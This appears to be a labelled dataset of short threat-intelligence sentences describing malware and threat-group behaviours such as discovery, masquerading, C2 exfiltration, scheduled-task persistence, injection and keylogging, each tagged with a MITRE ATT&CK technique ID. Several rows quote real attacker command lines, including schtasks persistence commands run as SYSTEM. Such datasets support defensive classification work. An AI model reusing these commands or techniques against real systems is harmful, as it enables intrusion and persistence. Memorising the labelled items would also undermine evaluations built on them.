Lucifer has the ability to identify the username on a compromised host.,T1033
Magic Hound malware has obtained the victim username and sent it to the C2 server.,T1033
MechaFlounder has the ability to identify the username and hostname on a compromised host.,T1033
Metamorfo has collected the username from the victim's machine.,T1033
MoonWind obtains the victim username.,T1033
Pupy can enumerate local information for Linux hosts and find currently logged on users for Windows hosts.,T1033
Reaver collects the victim's username.,T1033
RogueRobin collects the victim's username and whether that user is an admin.,T1033
S-Type has run tests to determine the privilege level of the compromised user.,T1033
SHARPSTATS has the ability to identify the username on the compromised host.,T1033
Saint Bot can collect the username from a compromised host.,T1033
Sidewinder has used tools to identify the user of a compromised host.,T1033
"""SpeakUp uses the """"whoami"""" command.""",T1033
Sys10 collects the account name of the logged-in user and sends it to the C2.,T1033
Threat Group-3390 has used `whoami` to collect system user information.,T1033
"""Tropic Trooper used """"letmein"""" to scan for saved usernames on the target system.""",T1033
Unknown Logger can obtain information about the victim usernames.,T1033
VERMIN gathers the username from the victim's machine.,T1033
Various Lazarus Group malware enumerates logged-on users.,T1033
WellMess can collect the username on the victim machine to send to C2.,T1033
APT32 has disguised a Cobalt Strike beacon as a Flash Installer.,T1036
DarkWatchman has used an icon mimicking a text file to mask a malicious executable.,T1036
"During Operation Honeybee, the threat actors modified the MaoCheng dropper so its icon appeared as a Word document.",T1036
Ramsay has masqueraded as a JPG image file.,T1036
TeamTNT has disguised their scripts with docker-related file names.,T1036
The Dacls Mach-O binary has been disguised as a .nib file.,T1036
The TrickBot downloader has used an icon to appear as a Microsoft Word document.,T1036
WindTail has used icons mimicking MS Office files to mask payloads.,T1036
"""Windshift has used icons mimicking MS Office files to mask malicious executables. Windshift has also attempted to hide executables by changing the file extension to """".scr"""" to mimic Windows screensavers.""",T1036
"""yty contains several references to football (including """"football,"""" """"score,"""" """"ball,"""" and """"loose"""") in a likely attempt to disguise its traffic.""",T1036
Regin stage 1 modules for 64-bit systems have been found to be signed with fake certificates masquerading as originating from Microsoft Corporation and Broadcom Corporation.,T1036.001
The NETWIRE client has been signed by fake and invalid digital certificates.,T1036.001
GALLIUM used a renamed cmd.exe file to evade detection.,T1036.003
"""APT32 has used hidden or non-printing characters to help masquerade service names, such as appending a Unicode no-break space character to a legitimate service name. APT32 has also impersonated the legitimate Flash installer file name """"install_flashplayer.exe"""".""",T1036.004
BackdoorDiplomacy has disguised their backdoor droppers with naming conventions designed to blend into normal operations.,T1036.004
InvisiMole has attempted to disguise itself by registering under a seemingly legitimate service name.,T1036.004
KONNI has pretended to be the xmlProv Network Provisioning service.,T1036.004
"Nidiran can create a new service named msamger (Microsoft Security Accounts Manager), which mimics the legitimate Microsoft database by the same name.",T1036.004
RDAT has used Windows Video Service as a name for malicious services.,T1036.004
"""SLOTHFULMEDIA has named a service it establishes on victim machines as """"TaskFrame"""" to hide its malicious purpose.""",T1036.004
StrongPity has named services to appear legitimate.,T1036.004
Turian can disguise as a legitimate service to blend into normal operations.,T1036.004
APT41 attempted to masquerade their files as popular anti-virus software.,T1036.005
Calisto's installation file is an unsigned DMG image under the guise of Intego's security solution for mac.,T1036.005
"Chimera has renamed malware to GoogleUpdate.exe and WinRAR to jucheck.exe, RecordedTV.ms, teredo.tmp, update.exe, and msadcs1.exe.",T1036.005
Chinoxy has used the name `eoffice.exe` in attempt to appear as a legitimate file.,T1036.005
"""Cyclops Blink can rename its running process to """"[kworker:0/1]"""" to masquerade as a Linux kernel thread. Cyclops Blink has also named RC scripts used for persistence after WatchGuard artifacts.""",T1036.005
DarkComet has dropped itself onto victim machines with file names such as WinDefender.Exe and winupdate.exe in an apparent attempt to masquerade as a legitimate file.,T1036.005
"Daserf uses file and folder names related to legitimate programs in order to blend in, such as HP, Intel, Adobe, and perflogs.",T1036.005
Doki has disguised a file as a Linux kernel module.,T1036.005
"""EKANS has been disguised as """"update.exe"""" to appear as a valid executable.""",T1036.005
Magic Hound has used the name dllhost.exe to mask a malicious tool used in C2.,T1036.005
PipeMon modules are stored on disk with seemingly benign names including use of a file extension associated with a popular word processor.,T1036.005
PowGoop has used a DLL named Goopdate.dll to impersonate a legitimate Google update file.,T1036.005
PyDCrypt has dropped DCSrv under the `svchost.exe` name to disk.,T1036.005
SUPERNOVA has masqueraded as a legitimate SolarWinds DLL.,T1036.005
"""Silence has named its backdoor """"WINWORD.exe"""".""",T1036.005
StrifeWater has been named `calc.exe` to appear as a legitimate calculator program.,T1036.005
"""UNC2452 renamed a version of AdFind to """"sqlceip.exe"""" or """"csrss.exe"""" in an attempt to appear as the SQL Server Telemetry Client or Client Service Runtime Process, respectively.""",T1036.005
Whitefly has named the malicious DLL the same name as DLLs belonging to legitimate software from various security vendors.,T1036.005
Milan has used an executable named `companycatalog.exe.config` to appear benign.,T1036.007
"During C0015, the threat actors collected files from network shared drives prior to network encryption.",T1039
APT33 has used SniffPass to collect credentials by sniffing network traffic.,T1040
Kimsuky has used the Nirsoft SniffPass network sniffer to obtain passwords sent over non-secure protocols.,T1040
"After data is collected by Stealth Falcon malware, it is exfiltrated over the existing C2 channel.",T1041
AppleSeed can exfiltrate files via the C2 channel.,T1041
Confucius has exfiltrated stolen files to its C2 server.,T1041
EVILNUM can upload files over the C2 channel from the infected host.,T1041
Empire can send data gathered from a target through the command and control channel.,T1041
GoldMax can exfiltrate files over the existing C2 channel.,T1041
IceApple's Multi File Exfiltrator module can exfiltrate multiple files from a compromised host as an HTTP response over C2.,T1041
Ke3chang transferred compressed and encrypted RAR files containing exfiltration through the established backdoor command and control channel during operations.,T1041
Mis-Type has transmitted collected files and data to its C2 server.,T1041
MobileOrder exfiltrates data to its C2 server over the same protocol as C2 communications.,T1041
RDAT can exfiltrate data gathered from the infected system via the established Exchange Web Services API C2 channel.,T1041
ROKRAT can send collected files back over same C2 channel.,T1041
Rising Sun can send data gathered from the infected machine via HTTP POST request to the C2.,T1041
SLOTHFULMEDIA has sent system information to a C2 server via HTTP and HTTPS POST requests.,T1041
Caterpillar WebShell has a module to use a port scanner on a system.,T1046
Cobalt Strike can perform port scans from an infected host.,T1046
DarkVishnya performed port scanning to obtain the list of active services.,T1046
Empire can perform port scans from an infected host.,T1046
Lazarus Group has used nmap from a router VM to scan ports on systems within the restricted segment of an enterprise network.,T1046
Naikon has used the LadonGo scanner to scan target networks.,T1046
Ramsay can scan for systems that are vulnerable to the EternalBlue exploit.,T1046
XTunnel is capable of probing the network for open ports.,T1046
Xbash can perform port scanning of TCP and UDP ports.,T1046
Avaddon uses wmic.exe to delete shadow copies.,T1047
Bazar can execute a WMI query to gather information about the installed antivirus engine.,T1047
Cobalt Strike can use WMI to deliver a payload to a remote host.,T1047
DEATHRANSOM has the ability to use WMI to delete volume shadow copies.,T1047
"During Operation Wocao, threat actors has used WMI to execute commands.",T1047
Indrik Spider has used WMIC to execute commands on remote computers.,T1047
KOMPROGO is capable of running WMI queries.,T1047
Kazuar obtains a list of running processes through WMI querying.,T1047
MoleNet can perform WMI commands on the system.,T1047
Mustang Panda has executed PowerShell scripts via WMI.,T1047
One variant of Zebrocy uses WMI queries to gather information.,T1047
FIN6 has sent stolen payment card data to remote servers via HTTP POSTs.,T1048.003
OilRig has exfiltrated data over FTP separately from its primary C2 channel over DNS.,T1048.003
"Rclone can exfiltrate data over FTP or HTTP, including HTTP via WebDAV.",T1048.003
"""APT41 has enumerated IP addresses of network resources and used the """"netstat"""" command as part of network reconnaissance. The group has also used a malware variant, HIGHNOON, to enumerate active RDP sessions.""",T1049
"After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the victim server.",T1049
CharmPower can use `netsh wlan show profiles` to list specific Wi-Fi profile details.,T1049
CrackMapExec can discover active sessions for a targeted system.,T1049
"During Operation CuckooBees, the threat actors used the `net session`, `net use`, and `netstat` commands as part of their advanced reconnaissance.",T1049
Lizar has a plugin to retrieve information about all active network sessions on the infected server.,T1049
"""Mustang Panda has used """"netstat -ano"""" to determine network connection information.""",T1049
"""OSInfo enumerates the current network connections similar to """" net use """".""",T1049
Operation Wocao has collected a list of open connections on the infected system using netstat and checks whether it has an internet connection.,T1049
Torisma can use `WTSEnumerateSessionsW` to monitor remote desktop connections.,T1049
Trojan.Karagany can use netstat to collect a list of network connections.,T1049
nbtstat can be used to discover current NetBIOS sessions.,T1049
Machete has a feature to copy files from every drive onto a removable drive in a hidden folder.,T1052.001
Tropic Trooper has exfiltrated data using USB storage devices.,T1052.001
"Lokibot's second stage DLL has set a timer using ""timeSetEvent"" to schedule its next execution.",T1053
Remsec schedules the execution one of its modules by creating a new scheduler task.,T1053
APT18 actors used the native at Windows task scheduler tool to use scheduled tasks for execution on a victim network.,T1053.002
MURKYTOP has the capability to schedule remote AT jobs.,T1053.002
NETWIRE can use crontabs to establish persistence.,T1053.003
"""Bad Rabbit's """"infpub.dat"""" file creates a scheduled task to launch a malicious executable.""",T1053.005
Bumblebee can achieve persistence by copying its DLL to a subdirectory of %APPDATA% and creating a Visual Basic Script that will load the DLL via a scheduled task.,T1053.005
"""Chimera has used scheduled tasks to invoke Cobalt Strike including through batch script """"schtasks /create /ru """"SYSTEM"""" /tn """"update"""" /tr """"cmd /c c:\windows\temp\update.bat"""" /sc once /f /st"""" and to maintain persistence.""",T1053.005
DanBot can use a scheduled task for installation.,T1053.005
"During Operation CuckooBees, the threat actors used scheduled tasks to execute batch scripts for lateral movement with the following command: `SCHTASKS /Create /S /U /p /SC ONCE /TN test /TR /ST /RU SYSTEM.`",T1053.005
Emotet has maintained persistence through a scheduled task.,T1053.005
HermeticWiper has the ability to use scheduled tasks for execution.,T1053.005
"""Higaisa dropped and added """"officeupdate.exe"""" to scheduled tasks.""",T1053.005
IcedID has created a scheduled task that executes every hour to establish persistence.,T1053.005
"""InvisiMole has used scheduled tasks named """"MSST"""" and """"\Microsoft\Windows\Autochk\Scheduled"""" to establish persistence.""",T1053.005
Naikon has used schtasks.exe for lateral movement in compromised networks.,T1053.005
NotPetya creates a task to reboot the system one hour after infection.,T1053.005
OilRig has created scheduled tasks that run a VBScript to execute a payload on victim machines.,T1053.005
"""POWERSTATS has established persistence through a scheduled task using the command """"""C:\Windows\system32\schtasks.exe"" /Create /F /SC DAILY /ST 12:00 /TN MicrosoftEdge /TR ""c:\Windows\system32\wscript.exe C:\Windows\temp\Windows.vbe"""""".""",T1053.005
QakBot has the ability to create scheduled tasks for persistence.,T1053.005
Revenge RAT schedules tasks to run malicious scripts at different intervals.,T1053.005
"SUGARDUMP has created scheduled tasks called `MicrosoftInternetExplorerCrashRepoeterTaskMachineUA` and `MicrosoftEdgeCrashRepoeterTaskMachineUA`, which were configured to execute `CrashReporter.exe` during user logon.",T1053.005
Sibot has been executed via a scheduled task.,T1053.005
Smoke Loader launches a scheduled task.,T1053.005
SoreFang can gain persistence through use of scheduled tasks.,T1053.005
"""UNC2452 used """"scheduler"""" and """"schtasks"""" to create new tasks on remote hosts as part of lateral movement. They also manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration. UNC2452 also created a scheduled task to maintain SUNSPOT persistence when the host booted.""",T1053.005
ZxxZ has used scheduled tasks for persistence and execution.,T1053.005
Backdoor.Oldrea injects itself into explorer.exe.,T1055
"""Bazar can inject code through calling """"VirtualAllocExNuma"""".""",T1055
Cobalt Strike can inject a variety of payloads into processes dynamically chosen by the adversary.,T1055
"""Empire contains multiple modules for injecting into processes, such as """"Invoke-PSInject"""".""",T1055
"Operation Wocao has injected code into a selected process, which in turn launches a command as a child process of the original.",T1055
"TSCookie has the ability to inject code into the svchost.exe, iexplorer.exe, explorer.exe, and default browser processes.",T1055
"An executable dropped onto victims by Putter Panda aims to inject the specified DLL into a process that would normally be accessing the network, including Outlook Express (msinm.exe), Outlook (outlook.exe), Internet Explorer (iexplore.exe), and Firefox (firefox.exe).",T1055.001
BlackEnergy injects its DLL component into svchost.exe.,T1055.001
Cobalt Strike has the ability to load DLLs via reflective injection.,T1055.001
ComRAT has injected its orchestrator DLL into explorer.exe. ComRAT has also injected its communications module into the victim's default browser to make C2 connections appear less suspicious as all network connections will be initiated by the browser process.,T1055.001
Derusbi injects itself into the secure shell (SSH) process.,T1055.001
Lizar has used the PowerKatz plugin that can be loaded into the address space of a PowerShell process through reflective DLL loading.,T1055.001
ShadowPad has injected a DLL into svchost.exe.,T1055.001
TajMahal has the ability to inject DLLs for malicious plugins into running processes.,T1055.001
InvisiMole can inject its backdoor as a portable executable into a target process.,T1055.002
BADNEWS has a command to download an .exe and use process hollowing to inject it into a new process.,T1055.012
"""Dtrack has used process hollowing shellcode to target a predefined list of processes from """"%SYSTEM32%"""".""",T1055.012
QakBot can use process hollowing to execute its main payload.,T1055.012
APT34 has used a keylogging tool called KEYPUNCH.,T1056
Chaes has a module to perform any API hooking it desires.,T1056
FlawedAmmyy can collect mouse events.,T1056
Cadelspy has the ability to log keystrokes on the compromised host.,T1056.001
Clambling can capture keystrokes on a compromised host.,T1056.001
Daserf can log keystrokes.,T1056.001
Derusbi is capable of logging keystrokes.,T1056.001
"During Operation Wocao, threat actors obtained the password for the victim's password manager via a custom keylogger.",T1056.001
"Empire includes keylogging capabilities for Windows, Linux, and macOS systems.",T1056.001
Explosive has leveraged its keylogging capabilities to gain access to administrator accounts on target servers.,T1056.001
JPIN contains a custom keylogger.,T1056.001
Magic Hound malware is capable of keylogging.,T1056.001
Malware used by Group5 is capable of capturing keystrokes.,T1056.001
MarkiRAT can capture all keystrokes on a compromised host.,T1056.001
NETWIRE can perform keylogging.,T1056.001
NetTraveler contains a keylogger.,T1056.001
PcShare has the ability to capture keystrokes.,T1056.001
PoetRAT has used a Python tool named klog.exe for keylogging.,T1056.001
SILENTTRINITY has a keylogging capability.,T1056.001
"WarzoneRAT has the capability to install a live and offline keylogger, including through the use of the `GetAsyncKeyState` Windows API.",T1056.001
njRAT is capable of logging keystrokes.,T1056.001
Bundlore prompts the user for their credentials.,T1056.002
Proton prompts users for their credentials.,T1056.002
SILENTTRINITY's `credphisher.py` module can prompt a current user for their credentials.,T1056.002
The IceApple OWA credential logger can monitor for OWA authentication requests and log the credentials.,T1056.003
Carberp has hooked several Windows API functions to steal credentials.,T1056.004
FinFisher hooks processes by modifying IAT pointers to CreateWindowEx.,T1056.004
Zeus Panda hooks processes by leveraging its own IAT hooked functions.,T1056.004
Agent Tesla can list the current running processes on the system.,T1057
"""Bonadan can use the """"ps"""" command to discover other cryptocurrency miners active on the system.""",T1057
Carbon can list the processes on the victim's machine.,T1057
CharmPower has the ability to list running processes through the use of `tasklist`.,T1057
"""Comnie uses the """"tasklist"""" to view running processes on the victim's machine.""",T1057
"Diavol has used `CreateToolhelp32Snapshot`, `Process32First`, and `Process32Next` API calls to enumerate the running processes in the system.",T1057
EKANS looks for processes from a hard-coded list.,T1057
Emotet has been observed enumerating local processes.,T1057
Empire can find information about processes running on local and remote systems.,T1057
"""FoggyWeb's loader can enumerate all Common Language Runtimes (CLRs) and running Application Domains in the compromised AD FS server's """"Microsoft.IdentityServer.ServiceHost.exe"""" process.""",T1057
Get2 has the ability to identify running processes on an infected host.,T1057
HotCroissant has the ability to list running processes on the infected host.,T1057
"""Imminent Monitor has a """"Process Watcher"""" feature to monitor processes in case the client ever crashes or gets closed.""",T1057
JPIN can list running processes.,T1057
"""KillDisk has called """"GetCurrentProcess"""".""",T1057
Linfo creates a backdoor through which remote attackers can retrieve a list of running processes.,T1057
Lizar has a plugin designed to obtain a list of processes.,T1057
Metamorfo has performed process name checks and has monitored applications.,T1057
NETWIRE can discover processes on compromised hosts.,T1057
Operation Wocao has collected a list of running processes on the infected system.,T1057
RCSession can identify processes based on PID.,T1057
Several Lazarus Group malware families gather a list of running processes on a victim system and send it to their C2 server. A Destover-like variant used by Lazarus Group also gathers process times.,T1057
"""SombRAT can use the """"getprocesslist"""" command to enumerate processes on a compromised host.""",T1057
Stealth Falcon malware gathers a list of running processes.,T1057
SynAck enumerates all running processes.,T1057
Valak has the ability to enumerate running processes on a compromised host.,T1057
Waterbear can identify the process for a specific security product.,T1057
WinMM sets a WH_CBT Windows hook to collect information on process creation.,T1057
"""XAgentOSX contains the getProcessList function to run """"ps aux"""" to get running processes.""",T1057
iKitten lists the current processes running.,T1057
Bandook can support commands to execute Java-based payloads.,T1059
DarkComet can execute various types of scripts on the victim's machine.,T1059
DarkComet can launch a remote shell to execute commands on the victim's machine.,T1059 | T1059.003
Dragonfly 2.0 used command line for execution.,T1059
"For Operation Spalax, the threat actors used Nullsoft Scriptable Install System (NSIS) scripts to install malware.",T1059
Melcoz has been distributed through an AutoIt loader script.,T1059
Windigo has used a Perl script for information gathering.,T1059
Zeus Panda can launch remote scripts on the victim's machine.,T1059
APT41 leveraged PowerShell to deploy malware families in victims' environments.,T1059.001
Cobalt Strike can execute a payload on a remote host with PowerShell. This technique does not write any data to disk. Cobalt Strike can also use PowerSploit and other scripting frameworks to perform execution.,T1059.001
"Deep Panda has used PowerShell scripts to download and execute programs in memory, without writing to disk.",T1059.001
Donut can generate shellcode outputs that execute via PowerShell.,T1059.001
FatDuke has the ability to execute PowerShell scripts.,T1059.001
FlawedAmmyy has used PowerShell to execute commands.,T1059.001
Gorgon Group malware can use PowerShell commands to download and execute a payload and open a decoy document on the victim's machine.,T1059.001
Lazarus Group has used PowerShell to execute commands and malicious code.,T1059.001
MoleNet can use PowerShell to set persistence.,T1059.001
OSX_OCEANLOTUS.D uses PowerShell scripts.,T1059.001
PS1 can utilize a PowerShell loader.,T1059.001
"Patchwork used PowerSploit to download payloads, run a reverse shell, and execute malware on the victim's machine.",T1059.001
Pillowmint has used a PowerShell script to install a shim database.,T1059.001
PowerPunch has the ability to execute through PowerShell.,T1059.001
PowerStallion uses PowerShell loops to iteratively check for available commands in its OneDrive C2 server.,T1059.001
Pupy has a module for loading and executing PowerShell scripts.,T1059.001
QUADAGENT uses PowerShell scripts for execution.,T1059.001
RegDuke can extract and execute PowerShell scripts from C2 communications.,T1059.001
Sandworm Team has used PowerShell scripts to run a credential harvesting tool in memory to evade defenses.,T1059.001
Silence has used PowerShell to download and execute payloads.,T1059.001
"Turla has used PowerShell to execute commands/scripts, in some cases via a custom executable or code from Empire's PSInject. Turla has also used PowerShell scripts to load and execute malware in memory.",T1059.001
Ursnif droppers have used PowerShell in download cradles to download and execute the malware's full executable payload.,T1059.001
njRAT has executed PowerShell commands via auto-run registry key persistence.,T1059.001
"Adversaries can direct BACKSPACE to execute from the command line on infected hosts, or have BACKSPACE create a reverse shell.",T1059.003
AuditCred can open a reverse shell on the system to execute commands.,T1059.003
Chaes has used cmd to execute tasks on the system.,T1059.003
Cobian RAT can launch a remote command shell interface for executing commands.,T1059.003
CoinTicker executes a bash script to establish a reverse shell.,T1059.003 | T1059.004
Crimson has the ability to execute commands with the COMSPEC environment variable.,T1059.003
"""During Frankenstein, the threat actors ran a command script to set up persistence as a scheduled task named """"WinUpdate"""", as well as other encoded commands from the command-line""",T1059.003
"During Operation CuckooBees, the threat actors used batch scripts to perform reconnaissance.",T1059.003
ECCENTRICBANDWAGON can use cmd to execute commands on a victim's machine.,T1059.003
EnvyScout can use cmd.exe to execute malicious files on compromised hosts.,T1059.003
Flagpro can use `cmd.exe` to execute commands received from C2.,T1059.003
Gelsemium can use a batch script to delete itself.,T1059.003
GreyEnergy uses cmd.exe to execute itself in-memory.,T1059.003
"GrimAgent can use the Windows Command Shell to execute commands, including its own removal.",T1059.003
HOPLIGHT can launch cmd.exe to execute commands on the system.,T1059.003
"""HotCroissant can remotely open applications on the infected host with the """"ShellExecuteA"""" command.""",T1059.003
InnaputRAT launches a shell to execute commands on the victim's machine.,T1059.003
KONNI has used cmd.exe to execute arbitrary commands on the infected host across different stages of the infection chain.,T1059.003
Kazuar uses cmd.exe to execute commands on the victim's machine.,T1059.003
Koadic can open an interactive command-shell to perform command line functions on victim machines. Koadic performs most of its operations using Windows Script Host (Jscript) and to run arbitrary shellcode.,T1059.003
MURKYTOP uses the command-line interface.,T1059.003
"""Metamorfo has used """"cmd.exe /c"""" to execute files.""",T1059.003
PingPull can use `cmd.exe` to run various commands as a reverse shell.,T1059.003
Pisloader uses cmd.exe to set the Registry Run key value. It also has a command to spawn a command shell.,T1059.003
PoetRAT has called cmd through a Word document macro.,T1059.003
"""PowerDuke runs """"cmd.exe /c"""" and sends the output to its C2.""",T1059.003
QuasarRAT can launch a remote shell to execute commands on the victim's machine.,T1059.003
RCSession can use `cmd.exe` for execution on compromised hosts.,T1059.003
Remcos can launch a remote command line to execute commands on the victim's machine.,T1059.003
"Rising Sun has executed commands using `cmd.exe /c "" > \AM. tmp"" 2>&1`.",T1059.003
SQLRat has used SQL to execute JavaScript and VB scripts on the host system.,T1059.003
SUGARUSH has used `cmd` for execution on an infected host.,T1059.003
Several commands are supported by the Honeybee's implant via the command-line interface and there's also a utility to execute any custom command on an infected endpoint. Honeybee used batch scripting.,T1059.003
TinyZBot supports execution from the command-line.,T1059.003
Wizard Spider has used cmd.exe to execute commands on a victim's machine.,T1059.003
ZIRCONIUM has used a tool to open a Windows Command Shell on a remote host.,T1059.003
ZLib has the ability to execute shell commands.,T1059.003
Zeus Panda can launch an interface where it can execute several commands on the victim's PC.,T1059.003
AppleJeus has used shell scripts to execute commands after installation and set persistence mechanisms.,T1059.004
Doki has executed shell scripts with /bin/sh.,T1059.004
FIN7 used VBS scripts to help perform tasks on the victim's machine.,T1059.005
Frankenstein has used Word documents that prompts the victim to enable macros and run a Visual Basic script.,T1059.005
LazyScripter has used VBScript to execute malicious code.,T1059.005
"Molerats used various implants, including those built with VBScript, on target machines.",T1059.005
Sandworm Team has created VBScripts to run an SSH server.,T1059.005
Squirrelwaffle has used malicious VBA macros in Microsoft Word documents and Excel spreadsheets that execute an `AutoOpen` subroutine.,T1059.005
VBShower has the ability to execute VBScript files.,T1059.005
PoetRAT was executed with a Python script and worked in conjunction with additional Python-based post-exploitation tools.,T1059.006
SILENTTRINITY is written in Python and can use multiple Python scripts for execution on targeted systems.,T1059.006
Tonto Team has used Python-based tools for execution.,T1059.006
Avaddon has been executed through a malicious JScript downloader.,T1059.007
DarkWatchman uses JavaScript to perform its core functionalities.,T1059.007
Donut can generate shellcode outputs that execute via JavaScript or JScript.,T1059.007
Kimsuky has used JScript for logging and downloading additional tools.,T1059.007
TA505 has used JavaScript for code execution.,T1059.007
APT33 has used a publicly available exploit for CVE-2017-0213 to escalate privileges on a local system.,T1068
BITTER has exploited CVE-2021-1732 for privilege escalation.,T1068
FIN8 has exploited the CVE-2016-0167 local vulnerability.,T1068
ProLock can use CVE-2019-0859 to escalate privileges on a compromised host.,T1068
Threat Group-3390 has used CVE-2014-6324 and CVE-2017-0213 to escalate privileges.,T1068
Turla has exploited vulnerabilities in the VBoxDrv.sys driver to obtain kernel mode privileges.,T1068
XCSSET has used a zero-day exploit in the ssh launchdaemon to elevate privileges and bypass SIP.,T1068
TrickBot can identify the groups the user on a compromised host belongs to.,T1069
Caterpillar WebShell can obtain a list of local groups of users from a system.,T1069.001
SILENTTRINITY can obtain a list of local groups and members.,T1069.001
Egregor can conduct Active Directory reconnaissance using tools such as Sharphound or AdFind.,T1069.002
SILENTTRINITY can use `System.DirectoryServices` namespace to retrieve domain group information.,T1069.002
CSPY Downloader has the ability to remove values it writes to the Registry.,T1070
"DarkWatchman can uninstall malicious components from the Registry, stop processes, and clear the browser history.",T1070
MCMD has the ability to remove set Registry Keys.,T1070
Attor's plugin deletes the collected files and log files after exfiltration.,T1070.004
Carbanak has a command to delete files.,T1070.004
FALLCHILL can delete malware and associated artifacts from the victim.,T1070.004
"""Following the successful injection of SUNBURST, SUNSPOT deleted a temporary file it created named """"InventoryManager.bk"""" after restoring the original SolarWinds Orion source code to the software library.""",T1070.004
"GoldenSpy's uninstaller can delete registry entries, files and folders, and finally itself once these tasks have been completed.",T1070.004
Grandoreiro can delete .LNK files created in the Startup folder.,T1070.004
"""GuLoader can delete its executable from the """"AppData\Local\Temp"""" directory on the compromised host.""",T1070.004
Heyoka Backdoor has the ability to delete folders and files from a targeted system.,T1070.004
KEYMARBLE has the capability to delete files off the victim's machine.,T1070.004
Kivars has the ability to uninstall malware from the infected host.,T1070.004
"""Lazarus Group malware has deleted files in various ways, including """"suicide scripts"""" to delete malware binaries from the victim. Lazarus Group also uses secure file deletion to delete files from the victim.""",T1070.004
Lokibot will delete its dropped files after bypassing UAC.,T1070.004
Magic Hound has deleted and overwrote files to cover tracks.,T1070.004
Malware used by Group5 is capable of remotely deleting files from victims.,T1070.004
More_eggs can remove itself from a system.,T1070.004
Mori can delete its DLL file and related files by Registry value.,T1070.004
NanHaiShu launches a script to delete their original decoy file to cover tracks.,T1070.004
"Once loaded into memory, MESSAGETAP deletes the keyword_parm.txt and parm.txt configuration files from disk.",T1070.004
Operation Wocao has deleted logs and executable files used during an intrusion.,T1070.004
Patchwork removed certain files and replaced them so they could not be retrieved.,T1070.004
Proton removes all files in the /tmp directory.,T1070.004
Remsec is capable of deleting files on the victim. It also securely removes itself after collecting and exfiltrating data.,T1070.004
Sibot will delete itself if a certain server response is received.,T1070.004
TYPEFRAME can delete files off the system.,T1070.004
USBStealer has several commands to delete files associated with the malware from the victim.,T1070.004
WhisperGate can delete tools from a compromised host after execution.,T1070.004
jRAT has a function to delete files from the victim's machine.,T1070.004
njRAT is capable of deleting files.,T1070.004
"""Chimera has used a Windows version of the Linux """"touch"""" command to modify the date and time stamp on DLLs.""",T1070.006
KeyBoy time-stomped its DLL in order to evade detection.,T1070.006
Shamoon can change the modified time for files to evade forensic detection.,T1070.006
SUNBURST also removed the firewall rules it created during execution.,T1070.007
Rocke issued wget requests from infected systems to the C2.,T1071
TeamTNT has used an IRC bot for C2 communications.,T1071
3PARA RAT uses HTTP for command and control.,T1071.001
APT39 has used HTTP in communications with C2.,T1071.001
BITTER has used HTTP POST requests for C2.,T1071.001
BLUELIGHT can use HTTP/S for C2 using the Microsoft Graph API.,T1071.001
Cardinal RAT is downloaded using HTTP over port 443.,T1071.001
CharmPower can use HTTP to communicate with C2.,T1071.001
ComRAT has used HTTP requests for command and control.,T1071.001
Confucius has used HTTP for C2 communications.,T1071.001
Crimson can use a HTTP GET request to download its final payload.,T1071.001
"During Operation Wocao, threat actors' XServer tool communicated using HTTP and HTTPS.",T1071.001
FoggyWeb has the ability to communicate with C2 servers over HTTP GET/POST requests.,T1071.001
GrimAgent has the ability to use HTTP for C2 communications.,T1071.001
Hi-Zor communicates with its C2 server over HTTPS.,T1071.001
Higaisa used HTTP and HTTPS to send data back to its C2 server.,T1071.001
Industroyer's main backdoor connected to a remote C2 server using HTTPS.,T1071.001
KGH_SPY can send data to C2 with HTTP POST requests.,T1071.001
Kazuar uses HTTP and HTTPS to communicate with the C2 server. Kazuar can also act as a webserver and listen for inbound HTTP requests through an exposed API.,T1071.001
"Later implants used by APT28, such as CHOPSTICK, use a blend of HTTP, HTTPS, and other legitimate channels for C2, depending on module configuration.",T1071.001
Mustang Panda has communicated with its C2 via HTTP POST requests.,T1071.001
OLDBAIT can use HTTP for C2.,T1071.001
OilRig has used HTTP for C2.,T1071.001
Okrum uses HTTP for communication with its C2.,T1071.001
P.A.S. Webshell can issue commands via HTTP POST.,T1071.001
Peppy can use HTTP to communicate with C2.,T1071.001
"RDAT can use HTTP communications for C2, as well as using the WinHTTP library to make requests to the Exchange Web Services API.",T1071.001
RGDoor uses HTTP for C2 communications.,T1071.001
RedLeaves can communicate to its C2 over HTTP and HTTPS if directed.,T1071.001
SUNBURST communicated via HTTP GET or HTTP POST requests to third party servers for C2.,T1071.001
ShadowPad communicates over HTTP to retrieve a string that is decoded into a C2 server URL.,T1071.001
Shark has the ability to use HTTP in C2 communications.,T1071.001
TA505 has used HTTP to communicate with C2 nodes.,T1071.001
TeamTNT has the `curl` command to send credentials over HTTP and the `curl` and `wget` commands to download new software. TeamTNT has also used a custom user agent HTTP header in shell scripts.,T1071.001
TrailBlazer has used HTTP requests for C2.,T1071.001
Tropic Trooper has used HTTP in communication with the C2.,T1071.001
Valak has used HTTP in communications with C2.,T1071.001
Variants of Kevin can communicate with C2 over HTTP.,T1071.001
WhisperGate can make an HTTPS connection to download additional files.,T1071.001
njRAT has used HTTP for C2 communications.,T1071.001
APT41 used exploit payloads that initiate download via ftp.,T1071.002
Attor has used FTP protocol for C2 communication.,T1071.002
Honeybee uses FTP for command and control.,T1071.002
PoetRAT has used FTP for C2 communications.,T1071.002
Milan has the ability to use DNS for C2 communications.,T1071.004
Mori can use DNS tunneling to communicate with C2.,T1071.004
PlugX can be configured to use DNS for command and control.,T1071.004
Variants of Anchor can use DNS tunneling to communicate with C2.,T1071.004
WellMess has the ability to use DNS tunneling for C2 communications.,T1071.004
"Silence has used RAdmin, a remote software tool used to remotely control workstations and ATMs.",T1072
"Wizard Spider has collected and staged credentials and network enumeration information, using the networkdll and psfin TrickBot modules.",T1074
Catchamas stores the gathered data from the machine in .db files and .bmp files under four separate locations.,T1074.001
"""Crutch has staged stolen files in the """"C:\AMD\Temp"""" directory.""",T1074.001
"Dtrack can save collected data to disk, different file formats, and network shares.",T1074.001
FIN5 scripts save memory dump data into a specific directory on hosts in the victim environment.,T1074.001
"""KGH_SPY can save collected system information to a file named """"info"""" before exfiltration.""",T1074.001
MacMa has stored collected files locally before exfiltration.,T1074.001
Milan has saved files prior to upload from a compromised host to folders beginning with the characters `a9850d2f`.,T1074.001
"Modules can be pushed to and executed by Duqu that copy data to a staging area, compress it, and XOR encrypt it.",T1074.001 | T1560.003
PUNCHBUGGY has saved information to a random temp file before exfil.,T1074.001
QakBot has stored stolen emails and other data into new folders prior to exfiltration.,T1074.001
"""RainyDay can use a file exfiltration tool to copy files to """"C:\ProgramData\Adobe\temp"""" prior to exfiltration.""",T1074.001
